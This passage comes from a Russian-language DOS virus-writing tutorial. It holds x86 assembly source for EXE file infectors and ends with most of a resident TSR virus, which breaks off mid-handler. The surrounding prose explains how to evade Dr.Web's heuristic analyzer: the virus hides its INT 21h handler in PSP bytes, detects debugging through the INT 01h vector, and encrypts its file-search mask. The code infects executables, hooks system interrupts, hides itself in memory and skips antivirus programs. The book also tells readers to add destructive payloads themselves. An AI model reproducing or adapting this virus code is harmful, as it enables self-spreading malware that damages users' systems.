- cmp ax,word ptr [new_dta + 01ah]
- jl to_next
- infect: add ax,vir_len
- adc dx,0
- mov bx,512
- div bx
- cmp dx,0
- je round
- inc ax
- round: mov to_04h,ax ;Это число запи-
- ;шется в Header
- ;[04h]
- mov to_02h,dx
- mov word ptr header[02h],dx
- mov ax,to_04h
- mov word ptr header[04h],ax
- mov word ptr header[14h],0
- mov ax,to_16h
- mov word ptr header[16h],ax
- mov word ptr header[0eh],ax
- mov word ptr header[10h],offset ds:new_stack + 96
- mov sub_ds,10h
- xor dx,dx ;Устанавливаем
- xor cx,cx ;указатель на
- call setpointer ;начало файла
- jc close_file ;
- lea dx,header ;И записываем
- mov cx,27 ;измененный за-
- call write ;головок на диск
- jc close_file
- mov dx,f_seek_low ;Устанавливаем
- mov cx,f_seek_high ;указатель на
- call setpointer ;определенное
- ;ранее место в
- ;файле
- jc close_file
- lea dx,vir ;И записываем на
- mov cx,vir_len ;диск вирусный
- call write ;код
- close_file:xor ax,ax ;Закроем зара-
- mov ah,3eh ;женный файл
- mov bx,descrypt ;
- int 21h ;
- restore_dta:
- push ds ;DS -> в стек
- mov ah,1ah ;Восстановим
- mov dx,080h ;адрес DTA зара-
- mov bp,es ;женной програм-
- mov ds,bp ;мы с помощью
- int 21h ;функции DOS 1Ah
- pop ds ;DS <- из стека
- mov ax,my_ip
- mov old_ip,ax
- mov ax,my_cs
- mov old_cs,ax
- mov ax,my_16h
- mov to_16h,ax
- mov ax,my_sp
- mov sp,ax ;Инициализируем
- ;регистр SP ...
- mov ax,cs ;Найдем
- sub ax,to_16h ;NS0 + 10h ...
- add my_ss,ax ;Вычислим SS ...
- mov ss,my_ss ;
- add ax,old_cs ;Вычислим CS ...
- mov old_cs,ax ;
- mov ax,es ;Инициализируем
- mov ds,ax ;регистр DS ...
- jmp $ + 2 ;Сбросим очередь
- ;процессора
- db 0eah ;И перейдем к
- old_ip dw 0 ;исполнению
- old_cs dw 0 ;программы ...
- ;Procedure area ...
- ;*************************************************
- setpointer proc ;Процедура уста-
- mov ax,4200h ;навливает ука-
- mov bx,descrypt ;затель в файле
- int 21h ;на заданный
- ret ;байт ...
- setpointer endp
- read proc ;Процедура чте-
- mov ah,3fh ;ния из файла...
- mov bx,descrypt
- int 21h
- ret
- read endp
- write proc ;Процедура за-
- mov ah,40h ;писи в файл ...
- mov bx,descrypt
- int 21h
- ret
- write endp
- mover proc ;Процедура умно-
- mov cx,04h ;жения двойного
- left: shl dx,1 ;слова CX : DX
- shl ax,1 ;на 16 методом
- adc dx,00h ;сдвига ...
- loop left ;
- ret ;
- mover endp
- ;Data area ...
- ;*************************************************
- ;Собственная DTA
- ;вируса
- new_dta db 128 dup (0)
- ;Маска для поис-
- ;ка файла - жер-
- ;твы
- maska db '*.exe',0
- ;Буфер для хра-
- ;нения имени
- ;найденного
- ;файла
- fn db 12 dup (' '),0
- ;Массив для хра-
- ;нения заголовка
- header db 27 dup ( 0 )
- descrypt dw 0 ;Ячейка для дес-
- ;криптора
- to_02h dw 0 ;Эти ячейки ис-
- to_04h dw 0 ;пользуются для
- to_16h dw 0 ;хранения пара-
- my_ip dw 0 ;метров заголо-
- my_cs dw 0 ;вка заражаемой
- my_16h dw 0 ;программы и
- my_ss dw 0 ;той, из которой
- my_sp dw 0 ;стартовал
- old_ss dw 0 ;вирус
- old_sp dw 0 ;
- f_seek_low dw 0 ;В эти перемен-
- f_seek_high dw 0 ;нные записывае-
- ;тся значение
- ;указателя
- ;Вирусный стек
- new_stack dw 50 dup ( 0 )
- last db 0 ;Сюда помещается
- ;последний байт
- ;заражаемого
- ;файла
- db '7' ;Последний байт
- ;вирусного кода
- ;Длина вирусного
- ;кода в байтах
- vir_len equ $-vir
- prg ends
- end vir
- 1.17 Несколько слов об испытании вируса
- В принципе,процесс испытания созданного вируса ни-
- чем не отличается от ранее рассмотренного .Обращаю
- внимание читателей только на одну деталь :
- Отладчик AFD_RUS .COM корректно работает только с
- неупакованными EXE - файлами.Если вы попытаетесь с
- его помощью отладить EXE - программу, упакованную
- какой - либо утилитой сжатия ( например, DIET, LZ_
- EXE или PKLITE ), то из этого ничего не получится.
- Конечно, программа не испортится,но результаты ра-
- боты отладчика будут неверными .Для отладки упако-
- ванных программ можно воспользоваться TURBO DEBUG-
- GER фирмы BORLAND INTERNATIONAL, но еще лучше рас-
- паковать такую программу и применить отладчик по-
- проще.
- *
- Если в программе есть команды,изменяющие SS и SP,
- то при " прохождении " ее AFD_RUS.COM результаты
- работы отладчика могут быть совершенно неожидан-
- ными. Это происходит потому, что указанный отлад-
- чик использует стек исследуемой им программы.
- **
- Все только что отмеченные недостатки AFD_шки ни в
- коей мере не дают сделать вывод,что этот отладчик
- плохой. Hаоборот,он во многих отношениях значите-
- льно превосходит даже TURBO DEBUGGER. Возможнос-
- тей AFD_RUS вполне достаточно при отладке пример-
- но 95 % программ.
- ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
- EXE - ВИРУСА
- 2.1 Алгоритм работы резидентного
- EXE - вируса
- Для начала рассмотрим алгоритм работы резидентного
- вируса, заражающего EXE - файлы .Он очень похож на
- соответствующий алгоритм для COM - вируса, поэтому
- подробно рассматриваться не будет :
- Секция инициализации выполняет следующие действия:
- 1. Получает управление при запуске зараженной про-
- граммы .
- 2. Проверяет, установлена ли в память резидентная
- часть вируса .
- 3. Если резидентная часть не установлена,выполняю-
- тся следующие действия :
- a.) Отыскивается свободный блок памяти достато-
- чного для размещения вируса размера .
- б.) Код вируса копируется в найденный блок па-
- мяти .
- в.) В таблице векторов прерываний соответству-
- ющие вектора заменяются точками входа в ви-
- русные обработчики .
- г.) Определяются значения CS, IP, SS и SP,необ-
- ходимые для правильной работы программы ,
- из которой стартовал вирус .
- д.) Управление передается зараженной программе.
- Для этого вирус использует команду безусло-
- вного дальнего перехода или возврата из да-
- льней процедуры.Адрес перехода задается вы-
- численными CS и IP. После этого начинается
- обычное выполнение программы .
- В том случае, если резидентная часть вируса уже
- находится в памяти, он просто выполняет действия
- перечисленные в п.п. " Г " и " Д " .
- Резидентная часть работает по такому " сценарию ":
- 1. Анализирует все вызовы системного прерывания
- INT 21h с целью выявить переход оператора в новый
- каталог или смену текущего диска .
- 2. Если обнаружится смена текущего диска или ката-
- лога, резидентная часть должна :
- а.) Сохранить исходное состояние вычислительной
- системы .
- б.) Найти на диске подходящий EXE - файл .
- в.) Записать вирусный код в конец этого файла .
- г.) Скорректировать заголовок файла ( см. п.1.4
- гл. 1 ч. 2 ) .
- д.) Восстановить исходное состояние вычислите-
- льной системы и передать ей управление .
- Как и в случае с COM - вирусом, заражение файлов
- выполняет только резидентная часть .Вредные дейст-
- вия можно " возложить " как на резидентную, так и
- на транзитную часть ( на транзитную - проще, а на
- резидентную - обычно сложнее . ) .
- 2.2 Защита от программ - антивирусов
- Честно говоря, эта глава просто является обобщени-
- ем всех предыдущих . Поэтому все основное уже рас-
- сказано .Но есть несколько весьма интересных и за-
- служивающих вашего внимания вопросов,о которых по-
- чти не упоминается в литературе .Речь идет о пос-
- троении вирусов, " невидимых " для антивирусных
- программ.В самом деле,один - единственный "обыск"
- с помощью программы DOCTOR WEB на диске или в па-
- мяти может свести все наши усилия к нулю . Поэтому
- самое время поговорить о способах скрытия вирусом
- своего наличия в вычислительной системе .
- Технику защиты вирусной программы от обнаружения
- мы рассмотрим на примере всем известного антивиру-
- са DOCTOR WEB.Именно эта программа является наибо-
- лее удачной и используемой.
- Как вы знаете, для обнаружения неизвестных вирусов
- DOCTOR WEB использует так называемый эвристический
- анализатор, моделирующий действия человека, желаю-
- щего обнаружить новый вирус.
- Все изложенное ниже базируется на следующем пред-
- положении :эвристический анализатор, по существу,
- представляет собой комбинацию пошагового отладчика
- и программы, анализирующей результаты его работы .
- Перейдем к делу . Если вы " заразите " ваш ком-
- пьютер написанным ранее резидентным COM - вирусом,
- а потом запустите DOCTOR WEB ( режим тестирования
- памяти должен быть включен ), то вирус будет обна-
- ружен как неизвестный резидентный .Кроме того, ан-
- тивирусная программа определит адрес в памяти, по
- которому находится вирусный код . Если вы просмот-
- рите содержимое памяти по этому адресу,то увидите,
- что DOCTOR WEB " ошибся ".А именно - по указанному
- адресу расположен собственно не сам вирус,а только
- его обработчик прерывания INT 21h.На остальные ви-
- русные обработчики антивирус не обратил внимания .
- Исходя из этого можно сделать такие выводы :
- 1.) Эвристический анализатор определяет, на какой
- адрес указывает вектор прерывания INT 21h в
- таблице векторов .
- 2.) Далее вступают в действие следующие соображе-
- ния : Обработчик прерывания INT 21h почти ни-
- когда не может находиться в самых младших (на-
- пример,в области данных BIOS) или в самых ста-
- рших (например, в последнем сегменте) адресах
- основной памяти .Поэтому при обнаружении такой
- ситуации эвристический анализатор считает, что
- система заражена неизвестным вирусом,и в каче-
- стве адреса, по которому расположен его код ,
- выдает адрес обработчика INT 21h .
- Как видим, все не так уже и сложно.Далее пользова-
- тель должен решать сам,действительно ли вирус при-
- сутствует в его компьютере. Отметим, что для реше-
- ния этого вопроса нужно иметь довольно высокую
- квалификацию, поэтому для подавляющего большинства
- пользователей задача представляется неразрешимой.
- 2.3 Как реализовать защиту от
- эвристического анализа
- Очевидно, вирус не будет найден в памяти,если раз-
- местить обработчик INT 21h в той ее части, в кото-
- рую загружаются пользовательские программы .С дру-
- гой стороны, наш вирус помещает свой код в самые
- старшие адреса основной памяти . Единственным вы-
- ходом из положения было бы написание обработчика ,
- состоящего из двух частей. При этом "первая" часть
- должна загружаться в область памяти,выделенную для
- загрузки прикладных программ,а "вторую" - вместе с
- остальной частью вируса - следует записать в стар-
- шие адреса основной памяти .В случае возникновения
- прерывания INT 21h управление будет передаваться
- первой части, которая затем передаст его второй.
- К сожалению, данный метод себя не оправдывает.DOC-
- TOR WEB в процессе эвристического анализа просто
- трассирует обработчик INT 21h до входа в его исхо-
- дный ( системный ) код, одновременно контролируя
- адрес обработчика, и при получении любых подозри-
- тельных результатов выдает сообщение о наличии не-
- известного вируса .Поэтому необходимо сделать так,
- чтобы при трассировании "первой" части под управ-
- лением отладчика вызывался системный обработчик, а
- при "нормальном" трассировании - вирусный ( экспе-
- рименты показывают,что DOCTOR WEB,вероятнее всего,
- содержит встроенный отладчик) .Для реализации ука-
- занного метода можно использовать особенность мик-
- ропроцессора, состоящую в наличии очереди команд .
- Однако этот путь по существу является тупиковым,
- так как вирус, реализующий такой алгоритм,не будет
- работать на процессорах PENTIUM из-за наличия в
- последних так называемой системы прогнозирования
- переходов. Мы же поступим по другому.Как вы знаете
- все отладчики интенсивно используют прерывание 01h
- ( One Step ),обработчик которого останавливает ра-
- боту микропроцессора после выполнения каждой ко-
- манды. Поэтому естественно предположить, что для
- проведения эвристического анализа DOCTOR WEB уста-
- навливает собственный обработчик Int 01h,а значит,
- заменяет адрес системного обработчика в таблице
- векторов прерываний.На факт замены этого адреса мы
- и будем ориентироваться. Экспериментальным путем
- было установлено, что системный обработчик Int 01h
- находится в памяти по такому адресу : 0070:XXXX.
- Следовательно, достаточно проверить сегментный ад-
- рес обработчика Int 01h, чтобы сказать, перехваче-
- но-ли это прерывание какой-нибудь прикладной про-
- граммой.
- Следующая проблема,возникающая при построении про-
- граммы обработки прерывания из двух частей, состо-
- ит вот в чем: непонятно, куда именно следует поме-
- стить " первую " часть,чтобы она не затиралась при
- загрузке программ и их работе, и не была бы видна
- с помощью, например, VC.COM или RELEASE.
- Многочисленными экспериментами было установлено ,
- что для размещения участка обработчика прерывания,
- ответственного за " обман " эвристического анали-
- затора, можно использовать байты с 38h по 5Ch,при-
- надлежащие PSP первой загруженной в память програ-
- ммы .Эти байты зарезервированы разработчиками опе-
- рационной системы, вероятно,для будущих ее версий,
- и их значения остаются постоянными в течение всего
- сеанса работы компьютера .Кроме того, зарезервиро-
- ванного пространства в PSP вполне хватит для раз-
- мещения программы обработки прерывания .
- Итак, можно предложить следующий алгоритм :
- 1.) Отыскивается PSP первой загруженной в память
- программы .
- 2.) В байты 38h - 5Ch записывается код " промежу-
- точного " обработчика прерывания INT 21h .Этот
- код должен вызывать системный обработчик при
- работе под управлением отладчика и вирусный в
- противном случае .
- * На самом деле можно использовать и другие об-
- ласти PSP, расположенные после байта со смеще-
- нием 5Ch ( примерно 32 байта - без всяких пос-
- ледствий. ).
- 3.) В таблице векторов прерываний вектор INT 21h
- заменяется на точку входа в промежуточный об-
- работчик .
- Вот, собственно, и все .
- 2.4 Реализуем предложенный алгоритм
- Как мы договорились,сначала следует найти PSP пер-
- вой загруженной в память программы .Это можно сде-
- лать следующим образом :
- find_psp: push es ;Найдем первый
- xor di,di ;PSP в памяти
- xor ax,ax
- to_new_seg:inc ax
- mov es,ax
- cmp ax,0ffffh ;Этот сегмент -
- jae free_mem ;последний ?
- cmp byte ptr es:[di],4dh
- ;Это - MCB -
- ;блок ?
- jne to_new_seg ;Нет !
- to_test: mov bx,ax ;Да !
- add bx,es:[di+3]
- inc bx
- mov es,bx
- cmp byte ptr es:[di],4dh
- ;Следующий MCB
- ;корректен ?
- je restore_es ;Да !
- cmp byte ptr es:[di],5ah
- jne to_new_seg ;Нет !
- restore_es:mov es,ax
- cmp word ptr es:[di+1],0 ;MCB свободен ?
- je to_new_seg ;Да !
- mov bx,es
- inc bx
- cmp es:[di+1],bx
- jne to_new_seg
- cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
- ;дует PSP ?
- jne to_new_seg ;Нет - тогда он
- ;нас не интере-
- ;сует ...
- mov first_psp,es ;Да - найдена
- mov cx,es ;нужная нам
- dec es_save ;область памяти
- cmp es_save,cx ;А может, мы на-
- ;шли свой же
- ;PSP ?
- jne add_05h ;Нет !
- pop es
- jmp fresh_input ;Да !
- add_05h: add first_psp,05h
- Напомним, что PSP располагается в памяти сразу
- вслед за MCB - блоком,выделенным операционной сис-
- темой для загрузки программы, а первым байтом PSP
- должно быть число 0CDh, что и используется в при-
- веденном фрагменте .
- Дополнительно следует рассмотреть следующую ситуа-
- цию : обычно первым PSP в памяти является PSP ко-
- мандного процессора COMMAND.COM . Но при некоторых
- конфигурациях операционой системы (например, при
- использовании WINDOWS 95 в режиме эмуляции MS DOS)
- это правило иногда не соблюдается .Может случиться
- так, что первой в файле AUTOEXEC.BAT для загрузки
- указана нерезидентная EXE - программа, зараженная
- нашим вирусом.При старте этой программы вирус фак-
- тически отыщет ее же PSP и запишет туда текст про-
- межуточного обработчика INT 21h . Далее программа
- нерезидентно завершится, после чего занимаемая ею
- память будет использована другими программами, по-
- этому наш промежуточный обработчик будет затерт ,
- и компьютер обязательно повиснет . Чтобы этого не
- произошло, вирус проверяет, какой именно PSP был
- найден первым, и если имела место описанная выше
- ситуация, отказывается от заражения памяти .
- В остальном работа фрагмента ясна .
- 2.5 Пишем промежуточный обработчик
- Теперь следует написать " промежуточный " обработ-
- чик прерывания INT 21h,который должен вызывать си-
- стемный или вирусный обработчики данного прерыва-
- ния в зависимости от режима работы процессора .Эту
- задачу можно решить, например, так :
- to_bios: push ax ;Текст промежу-
- ;точного
- push ds ;обработчика
- ;INT 21h ...
- pushf
- xor ax,ax
- mov ds,ax
- cmp word ptr ds:[0006h],0070h ;Int 01h пере-
- ;хвачено ?
- jne cs:uuuuu ;JMP на систем-
- ;ный или вирус-
- ;ный обработчики
- ;INT 21h ...
- popf
- pop ds
- pop ax
- db 0eah ;На вирусный ...
- our_21h_ip dw to_new_21h
- our_21h_cs dw 00h
- uuuuu: popf
- pop ds
- pop ax
- db 0eah ;На системный...
- sys_21h_ip dw 00h
- sys_21h_cs dw 00h
- code_len equ $ - to_bios ;Длина обработ-
- ;чика
- Данный фрагмент написан настолько просто, что ни-
- каких пояснений по поводу его работы не требуется.
- 2.6 Защита от обнаружения вируса в файле
- Защитить вирус от обнаружения в файле намного про-
- ще, чем в памяти.Достаточно только зашифровать ма-
- ску для поиска EXE - программ ( *.exe ), и вирус
- обнаружен не будет.Естественно, перед поиском фай-
- ла - жертвы маска должна быть расшифрована,а в за-
- раженном файле присутствовать в зашифрованном ви-
- де.
- Для решения этой задачи был предложен такой алго-
- ритм: маска расшифровывается вирусной копией, на-
- ходящейся в памяти, непосредственно перед поиском
- EXE-файла,а при записи вирусного кода в файл снова
- шифруется. Вряд-ли DOCTOR WEB станет устанавливать
- резидентный вирус в память, а потом еще и прове-
- рять, как он работает. А при простом просмотре или
- даже прохождении зараженной программы отладчиком
- можно увидеть только закодированную маску.
- 2.7 Несколько слов о вредных
- действиях вирусной программы
- Вирус, как правило, для того и пишется,чтобы кому-
- то навредить или пошутить над пользователями .Поэ-
- тому естественно было бы включить в него какие-ни-
- будь действия,мешающие нормальной работе операто-
- ров компьютеров .Конечно,здесь существует огромная
- свобода : от тривиальной блокировки клавиатуры до
- " осыпания " букв с экрана или форматирования вин-
- честера . Многие вирусы вообще содержат серьезные
- ошибки, из - за которых зараженная система может
- перестать работать, поэтому что - нибудь более не-
- приятное придумать непросто .
- Поскольку книга носит учебный харатер, мы не будем
- развивать " вредительскую " тему, а вместо этого
- предоставим нашим читателям возможность творчески
- подойти к задаче.Можете не огорчаться - встроить в
- вирусную программу вредное действие на порядок
- проще,чем создать эту программу.Учтите только, что
- изготовление вирусов - дело очень неблагодарное, и
- без должной конспирации способно принести самому
- " писателю " массу неприятностей.Сами вирусы (осо-
- бенно чужие) - довольно неприятная штука, хотя эта
- тема очень интересна.
- 2.8 Полный текст резидентного EXE - вируса
- Как я уже говорил, эта программа является просто
- итогом всех предыдущих и фактически составлена из
- их частей .Поэтому больше объяснять, вероятно, не-
- чего .Последний штрих - приведем полный текст раз-
- работанного нами резидентного EXE - вируса :
- ; _______________________________________________
- ;| |
- ;| EXE TSR virus |
- ;| Especially for my readers |
- ;|_______________________________________________|
- prg segment
- assume cs:prg,ds:prg,es:prg,ss:prg
- org 100h
- vir: db 0ebh ;9090h - Для
- ;резидентной
- db push_len ;работы .
- pushf
- call cs:rest_code ;Для надежности
- ;восстановим
- ;промежуточный
- ;обработчик
- ;INT 21h ...
- cmp bx,1997h ;Это проверка
- jne cs:not_our ;повторной за-
- mov ah,0ffh ;грузки вируса в
- popf ;память ?
- iret ;
- not_our:cmp cs:tg_infect - 100h,1 ;Активизировать-
- ;ся ?
- je cs:vir_2 ;Да ...
- popf
- jmp dword ptr cs:old_28h - 100h ;Нет - вызовем
- ;старый INT 28h,
- ;чтобы не
- ;"топить" другие
- ;резиденты ...
- vir_2: db 9ah
- old_28h dw 0
- old_28h_2 dw 0
- pushf ;Сохраним в сте-
- ;ке регистры
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- push bp
- push ds
- push es
- jmp cs:infect ;Перейти к зара-
- ;жению файлов...
- push_len equ $-vir - 2
- mov ax,cs ;Исправим DS для
- ;работы
- db 2dh ;в зараженном
- ;EXE - файле .
- sub_ds dw 0
- mov ds,ax
- mov ax,ds
- mov es_save,es ;Сохраним значе-
- ;ние ES ,бывшее
- ;при загрузке
- ;программы ...
- push es
- mov ax,old_ip ;Восстановим ис-
- ;ходные пара-
- mov my_ip,ax ;метры заголовка
- ;зараженного
- mov ax,old_cs ;файла ...
- mov my_cs,ax
- mov ax,to_16h
- mov my_16h,ax
- mov ax,old_ss
- mov my_ss,ax
- mov ax,old_sp
- mov my_sp,ax
- ;Проверим ,есть
- ;вирус в па-
- mov bx,1997h ;мяти ,или еще
- int 28h ;нет ...
- cmp ah,0ffh
- jne inst ;Нет - устанав-
- ;ливаем ...
- fresh_input:
- pop es
- mov ax,my_ip ;Восстановим
- ;исходные CS
- mov old_ip,ax ;и IP ,а также
- ;необходимые
- mov ax,my_cs ;для правильной
- ;работы
- mov old_cs,ax ;значения SS и
- ;SP ...
- mov ax,my_16h
- mov to_16h,ax
- mov ax,my_sp
- mov sp,ax
- mov ax,cs ;Расчитаем точку
- ;входа
- sub ax,to_16h ;EXE - программы
- add my_ss,ax
- mov ss,my_ss
- add ax,old_cs
- mov old_cs,ax
- push ax
- push old_ip ;Восстановим DS
- mov ax,es
- mov ds,ax
- db 0cbh ;Машинный код
- ;команды возвра-
- ;та из дальней
- ;процедуры ...
- old_ip dw 0 ;
- old_cs dw 0 ;
- inst: push es ;Найдем первый
- ;PSP в
- xor di,di ;памяти ...
- xor ax,ax
- to_new_seg:inc ax
- mov es,ax
- cmp ax,0ffffh ;Этот сегмент -
- ;последний ?
- jae free_mem
- cmp byte ptr es:[di],4dh ;Это -
- ;MCB - блок ?
- jne to_new_seg ;Нет !
- to_test: mov bx,ax ;Да !
- add bx,es:[di+3]
- inc bx
- mov es,bx
- cmp byte ptr es:[di],4dh ;Следующий MCB
- ;корректен ?
- je restore_es ;Да !
- cmp byte ptr es:[di],5ah
- jne to_new_seg ;Нет !
- restore_es:mov es,ax
- cmp word ptr es:[di+1],0 ;MCB свободен ?
- je to_new_seg ;Да !
- mov bx,es
- inc bx
- cmp es:[di+1],bx
- jne to_new_seg
- cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
- ;дует PSP ?
- jne to_new_seg ;Нет - тогда он
- ;нас не
- ;интересует ...
- mov first_psp,es ;Да - найдена
- ;нужная нам
- mov cx,es ;область памяти
- dec es_save
- cmp es_save,cx ;А может ,мы на-
- ;шли свой
- ;же PSP ?
- jne add_05h ;Нет !
- pop es
- jmp fresh_input ;Да !
- add_05h: add first_psp,05h
- free_mem: pop es
- mov ah,4ah ;Определим объем
- ;доступной
- ;памяти ...
- mov bx,0ffffh ;Заведомо невоз-
- ;можное
- int 21h ;значение
- ;(0ffffh) !
- ; _______________________________________________
- ;| Найдем свободный MCB - блок ,чтобы можно было |
- ;| записать в него резидентную часть вируса ... |
- ;|_______________________________________________|
- sub bx,vir_par + 4 ;Оставим вирусу
- ;на 4 параграфа
- ;больше ,чем
- ;он сам занимает
- mov ah,4ah ;А остальная
- ;память
- int 21h ;будет занята ...
- jnc give_mem
- to_fresh_input:
- jmp fresh_input
- give_mem: mov ah,48h ;Попросим DOS
- ;отдать сво-
- ;бодный блок нам
- mov bx,vir_par + 2 ;Запас в два
- ;параграфа ...
- int 21h
- jc to_fresh_input
- ; _______________________________________________
- ;|Теперь свободный блок памяти найден |
- ;|( сегментный адрес в AX ) ,и нужно |
- ;|записать в него код вируса ... |
- ;|_______________________________________________|
- xor di,di ;
- mov bx,ax ;
- dec bx ;
- mov word ptr es:[2],bx ;Корректируем
- ;PSP ...
- mov es,bx ;Делаем вирус
- mov bx,0070h ;" невидимым "
- mov es:[di+1],bx ;в памяти ...
- mov es,di ;Получаем векто-
- ;ра прерываний
- cli
- mov di,084h ;Int 21h ...
- mov bx,es:[di]
- mov old_21h,bx
- mov bx,es:[di+2]
- mov old_21h_2,bx
- mov di,0a0h ;Int 28h ...
- mov bx,es:[di]
- mov old_28h,bx
- mov bx,es:[di+2]
- mov old_28h_2,bx
- sti
- mov word ptr vir,9090h ;Подготавливаем
- ;вирус
- mov tg_infect,0 ;к резидентной
- ;работе ...
- mov our_21h_cs,ax ;Эти значения
- ;потребуются
- mov bx,old_21h ;промежуточному
- ;обработ-
- mov sys_21h_ip,bx ;чику INT 21h...
- mov bx,old_21h_2
- mov sys_21h_cs,bx
- push es ;Теперь мы
- ;скопируем его
- cli ;в найденный ра-
- ;нее первый
- mov es,first_psp ;в памяти PSP...
- xor di,di
- lea si,to_bios
- mov cx,code_len
- new_code: mov bl,byte ptr [si]
- mov byte ptr es:[di],bl
- inc si
- inc di
- loop new_code
- sti
- pop es
- mov es,ax ;Копируем в
- ;память сам
- xor di,di ;вирусный код...
- mov cx,vir_len
- prg_copy: mov bl,byte ptr vir[di]
- mov byte ptr es:[di],bl
- inc di
- loop prg_copy
- xor bx,bx ;Устанавливаем
- ;вектора
- ;прерываний на
- ;вирусные
- mov es,bx ;обработчики ...
- cli
- mov di,084h ;Int 21h ...
- mov word ptr es:[di],00h
- mov bx,first_psp
- mov word ptr es:[di + 2],bx
- mov di,0a0h ;Int 28h ...
- mov word ptr es:[di],0
- mov es:[di+2],ax
- sti
- jmp fresh_input ;Установка виру-
- ;са в память за-
- ;вершена ...
- infect: push cs ;DS = CS ...
- pop ds
- mov ax,ds ;TSR - коррекция
- sub ax,10h ;DS ...
- mov ds,ax
- mov tg_infect,0
- mov ah,2fh ;Получим текущую
- int 21h ;DTA ...
- mov es_dta,es ;И сохраним ее
- mov bx_dta,bx
- mov ah,1ah ;А теперь
- ;установим
- lea dx,new_dta ;собственную DTA
- int 21h
- find_first:mov maska[0],'*' ;Расшифровка ма-
- cmp word ptr cs:[0],9090h ;ски только в
- je cs:fifa ;резидентном
- mov maska[0],'a' ;режиме
- fifa: mov ah,4eh ;Найдем первый
- mov cx,00100110b ;файл ...
- lea dx,maska
- int 21h
- jnc cs:r_3
- jmp cs:restore_dta
- find_next: mov ah,3eh ;Закроем непод-
- mov bx,descrypt ;ходящий файл
- int 21h
- jnc cs:r_2
- jmp cs:restore_dta
- r_2: mov ah,4fh ;Найдем следую-
- int 21h ;щий ...
- jnc cs:r_3
- jmp cs:restore_dta
- r_3: mov cx,12
- lea si,fn ;Сотрем старое
- kill_name: mov byte ptr [si],0 ;имя в буфере
- inc si
- loop cs:kill_name
- xor si,si ;И запишем новое
- copy_name: mov al,byte ptr new_dta[si + 01eh]
- cmp al,0
- je cs:check_name
- mov byte ptr fn[si],al
- inc si
- jmp cs:copy_name
- check_name:mov cx,4 ;Проверим имя на
- lea si,name_1 ;принадлежность
- call cs:search ;его антивирус-
- cmp inside,1 ;ным программам
- je cs:r_2
- lea si,name_2 ;
- call cs:search
- cmp inside,1
- je cs:r_2
- lea si,name_3 ;
- call cs:search
- cmp inside,1
- je cs:r_2
- lea si,name_4 ;
- call cs:search
- cmp inside,1
- je cs:r_2
- lea si,name_5 ;
- call cs:search
- cmp inside,1
- je cs:r_2
- ;
- mov cx,3
- lea si,name_6
- call cs:search
- cmp inside,1
- je cs:to_r_2
- open_file: mov ax,3d02h ;Откроем этот
- lea dx,fn ;файл ...
- int 21h
- jnc cs:found_size
- to_r_2: jmp cs:r_2
- found_size:mov descrypt,ax ;Установим ука-
- ;затель в ко-
- mov cx,word ptr [new_dta + 01ch] ;нец файла ...
- mov dx,word ptr [new_dta + 01ah]
- sub dx,1
- sbb cx,0
- call cs:setpointer
- jnc cs:read_last
- jmp cs:find_next
- read_last: mov cx,1 ;Считаем послед-
- lea dx,last ;ний байт ...
- call cs:read
- jnc cs:compar
- jmp cs:close_file
- compar: cmp last,'7' ;Индикатор зара-
- ;женности
- jne cs:mmm
- jmp cs:find_next
- mmm: xor cx,cx ;Считаем заголо-
- xor dx,dx ;вок EXE - файла
- call cs:setpointer
- jnc cs:read_head
- to_next: jmp cs:find_next
- read_head: mov cx,27 ;
- lea dx,header ;
- call cs:read ;
- jnc cs:next_step ;
- jmp cs:restore_dta ;
- ;Запомним :
- ;Значение IP
- ;файла ...
- next_step: mov ax,word ptr header[14h]
- mov old_ip,ax
- ;Значение CS
- ;файла ...
- mov ax,word ptr header[16h]
- mov old_cs,ax
- ;Значение SS
- ;файла ...
- mov ax,word ptr header[0eh]
- mov old_ss,ax
- ;Значение SP
- ;файла ...
- mov ax,word ptr header[10h]
- mov old_sp,ax
- ;Вычислим ...
- mov ax,word ptr header[04h]
- mov cl,5
- shl ax,cl
- cmp ax,0f000h ;Файл длиннее
- ;983040 байт ?
- jna cs:good_size ;Нет !
- jmp cs:find_next ;Да !
- good_size: mov di,ax
- sub ax,word ptr header[08h]
- mov to_16h,ax ;Новое значение
- ;CS ...
- mov ax,di
- xor dx,dx
- call cs:mover
- mov f_seek_low,ax
- mov f_seek_high,dx
- cmp dx,word ptr [new_dta + 01ch] ;Файл содержит
- ;оверлеи ?
- jl cs:to_next ;Да !
- ja cs:not_ovl ;Нет !
- cmp ax,word ptr [new_dta + 01ah]
- jae cs:not_ovl ;Нет !
- jmp cs:find_next ;Да !
- not_ovl: add ax,vir_len
- adc dx,0
- mov bx,512
- div bx
- cmp dx,0
- je cs:round
- inc ax
- round: mov to_04h,ax ;Новую длину
- ;файла в страни-
- ;цах ...
- mov to_02h,dx
- mov word ptr header[02h],dx ;И заполним эти-
- ;ми значе -
- mov ax,to_04h ;ниями соответс-
- ;твующие
- mov word ptr header[04h],ax ;поля заголовка
- mov word ptr header[14h],0
- mov ax,to_16h
- mov word ptr header[16h],ax
- mov word ptr header[0eh],ax
- mov word ptr header[10h],to_new_stack + 96
- mov sub_ds,10h
- mov maska[0],'a'
- xor dx,dx ;Запишем
- xor cx,cx ;скорректирован-
- call cs:setpointer ;ный заголовок
- jc cs:close_file ;на диск ...
- lea dx,header
- mov cx,27
- call cs:write
- jc cs:close_file
- mov dx,f_seek_low ;Установим ука-
- mov cx,f_seek_high ;затель в файле
- call cs:setpointer
- jc cs:close_file
- mov cx,2 ;Запишем начало
- lea dx,end_file ;вируса ...
- call cs:write
- jc cs:close_file
- lea dx,vir + 2 ;И остальную
- mov cx,vir_len - 2 ;часть ...
- call cs:write
- close_file:xor ax,ax ;Закроем зара-
- mov ah,3eh ;женный файл ...
- mov bx,descrypt
- int 21h
- restore_dta: ;Восстановим DTA
- push ds
- mov ah,1ah
- mov dx,bx_dta
- mov ds,es_dta
- int 21h
- pop ds
- exit_zarasa:
- pop es ;И регистры ...
- pop ds
- pop bp
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- popf
- iret ;Выходим ...
- ;-------------------------------------------------
- ; _______________________________________________
- ;| |
- ;| Напишем новые обработчики INT 21h и INT 24h |
- ;|_______________________________________________|
- ;-------------------------------------------------
- to_new_21h equ $-vir
- new_21h: jmp cs:start_21h
- tg_infect db 0
- start_21h: call cs:rest_code ;На всякий слу-
- ;чай восстановим
- ;промежуточный
- ;обработчик
- ;INT 21h ...
- pushf
- push di
- push es
